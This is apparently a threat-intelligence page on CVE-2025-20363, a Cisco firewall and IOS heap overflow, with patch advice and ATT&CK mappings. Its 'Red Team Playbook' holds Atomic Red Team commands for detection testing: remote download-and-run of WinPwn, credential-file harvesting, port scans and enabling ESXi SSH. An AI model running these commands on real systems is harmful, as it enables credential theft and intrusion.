CVE-2025-20363

CRITICAL Pub 25/09 Upd 26/02

Overview

This vulnerability is a heap-based buffer overflow caused by improper validation of user-supplied input in HTTP requests processed by the web services of Cisco Secure Firewall ASA, FTD, and Cisco IOS platforms. The flaw resides in the HTTP request handling component, which fails to correctly parse and validate certain crafted inputs, leading to memory corruption. Affected components include the web service modules within Cisco IOS, IOS XE, IOS XR, ASA, and FTD software versions.

Vulnerability Description

A vulnerability in the web services of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software, Cisco Secure Firewall Threat Defense (FTD) Software, Cisco IOS Software, Cisco IOS XE Software, and Cisco IOS XR Software could allow an unauthenticated, remote attacker (Cisco ASA and FTD Software) or authenticated, remote attacker (Cisco IOS, IOS XE, and IOS XR Software) with low user privileges to execute arbitrary code on an affected device. This vulnerability is due to improper validation of user-supplied input in HTTP requests. An attacker could exploit this vulnerability by sending crafted HTTP requests to a targeted web service on an affected device after obtaining additional information about the system, overcoming exploit mitigations, or both. A successful exploit could allow the attacker to execute arbitrary code as root, which may lead to the complete compromise of the affected device. For more information about this vulnerability, see the Details ["#details"] section of this advisory.

Impact

An attacker can execute arbitrary code with root-level privileges on affected devices by sending crafted HTTP requests. For Cisco ASA and FTD, this can be done remotely without authentication, while for IOS variants, low-privileged authenticated access is required. Successful exploitation can result in full device compromise, enabling control over network infrastructure, data interception, or disruption of services. The CVSS vector indicates network attack vector (AV:N), high complexity (AC:H), no privileges required (PR:N) for some products, and complete confidentiality, integrity, and availability impact (C:H/I:H/A:H).

Solution

Cisco has released security updates addressing this vulnerability in multiple advisories accessible via https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-http-code-exec-WmfP3h3O. Users should upgrade affected Cisco IOS XR versions to the fixed releases beyond 6.6.3, and similarly apply patches to ASA and FTD software as specified in the advisory. No specific workarounds are recommended; timely application of vendor patches is the primary remediation measure.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within the web services of multiple Cisco products, including the Secure Firewall Adaptive Security Appliance (ASA) Software, Secure Firewall Threat Defense (FTD) Software, and various versions of Cisco IOS, IOS XE, and IOS XR Software. This vulnerability arises from inadequate validation of user-supplied input in HTTP requests, which can allow unauthorized remote attackers to execute arbitrary code on affected devices. The severity of this flaw is underscored by its high CVSS score of 9.0, indicating a significant risk to the integrity and availability of the systems involved.

Exploitation of this vulnerability can occur through crafted HTTP requests directed at the targeted web services of the affected devices. For Cisco ASA and FTD Software, an attacker does not require authentication, significantly lowering the barrier for exploitation. In contrast, for IOS, IOS XE, and IOS XR Software, an attacker must possess low-level user privileges. This distinction highlights the potential for exploitation in environments where user accounts may be compromised or where users have been granted unnecessary permissions. Successful exploitation can lead to the execution of arbitrary code with root privileges, effectively allowing the attacker to take full control of the device, manipulate configurations, or even pivot to other devices within the network.

The real-world implications of this vulnerability are profound, particularly for organizations that rely on Cisco's networking and security products. A successful attack could lead to unauthorized access to sensitive data, disruption of services, or the establishment of a foothold for further attacks within the network. The potential for data breaches, loss of customer trust, and regulatory repercussions can translate into significant financial losses. Moreover, the ability to execute arbitrary code could enable attackers to deploy malware or ransomware, exacerbating the impact on business operations and reputation.

To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected Cisco software is critical, as vendors typically release updates to address known vulnerabilities. Network monitoring tools can also be employed to detect unusual HTTP request patterns that may indicate an attempted exploitation. Additionally, organizations should enforce strict access controls and user privilege management to limit the potential for exploitation by authenticated users. Conducting regular security assessments and penetration testing can further help identify weaknesses in the network infrastructure and ensure that security measures are effective.

In conclusion, the vulnerability present in Cisco's web services poses a significant threat to network security, with the potential for severe operational and financial consequences. Organizations must prioritize awareness and proactive measures to safeguard their systems against this and similar vulnerabilities. By adopting a comprehensive security strategy that includes timely updates, vigilant monitoring, and robust access controls, businesses can mitigate the risks associated with this critical flaw and enhance their overall cybersecurity posture.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2025-20363, with a notable increase in telemetry signals indicating attempts to exploit this critical vulnerability. Concurrently, the Exploit Prediction Scoring System (EPSS) score for this CVE has risen by nearly 14%, reflecting growing confidence in the likelihood of exploitation in the wild. Although no new exploit techniques or proof-of-concept code have surfaced, the upward trend in detection and EPSS suggests adversaries are increasingly targeting affected Cisco IOS devices. This development elevates the threat posture, signaling that attackers may be refining their methods or expanding their campaigns to leverage this vulnerability. Defenders should interpret this as a heightened risk environment where exploitation attempts are becoming more frequent and potentially more sophisticated, underscoring the urgency for vigilant monitoring and rapid incident response capabilities.



Update 2 — August 15, 2026

CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2025-20363, with our telemetry showing a clear upward trend in exploitation attempts targeting Cisco IOS devices. While the overall exploit prediction scoring remains stable, the doubling of observed triggers indicates adversaries are increasingly probing or attempting to leverage this vulnerability. This escalation is significant because it suggests a growing operational interest and potential refinement of attack techniques, raising the likelihood of successful exploitation in the near term. For defenders, this evolving landscape elevates the threat level from a latent risk to an active concern, necessitating heightened vigilance in monitoring network traffic and device behavior. Although no new exploit variants or proof-of-concept codes have emerged, the intensified activity underscores that threat actors may be preparing for broader or more sophisticated campaigns, which could increase the impact and frequency of attacks exploiting this critical vulnerability.

Affected Products (28)

Vendor Product Version CPE
cisco Cisco Ios Xr 6.5.1 cpe:2.3:o:cisco:ios_xr:6.5.1:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.5.2 cpe:2.3:o:cisco:ios_xr:6.5.2:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.5.3 cpe:2.3:o:cisco:ios_xr:6.5.3:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.6.2 cpe:2.3:o:cisco:ios_xr:6.6.2:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.6.3 cpe:2.3:o:cisco:ios_xr:6.6.3:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.6.25 cpe:2.3:o:cisco:ios_xr:6.6.25:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.7.1 cpe:2.3:o:cisco:ios_xr:6.7.1:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.7.2 cpe:2.3:o:cisco:ios_xr:6.7.2:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.7.3 cpe:2.3:o:cisco:ios_xr:6.7.3:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.8.1 cpe:2.3:o:cisco:ios_xr:6.8.1:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.8.2 cpe:2.3:o:cisco:ios_xr:6.8.2:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.9.1 cpe:2.3:o:cisco:ios_xr:6.9.1:*:*:*:*:*:x86:*
cisco Cisco Ios Xr 6.9.2 cpe:2.3:o:cisco:ios_xr:6.9.2:*:*:*:*:*:x86:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
+8 additional CPEs

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

5 events
2026-08-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
91% buffer_overflow
Remote Code Execution
70% rce
OS Command Injection
45% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-92 Forced Integer Overflow
47%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (2)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-20363
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-http-code-exec-WmfP3h3O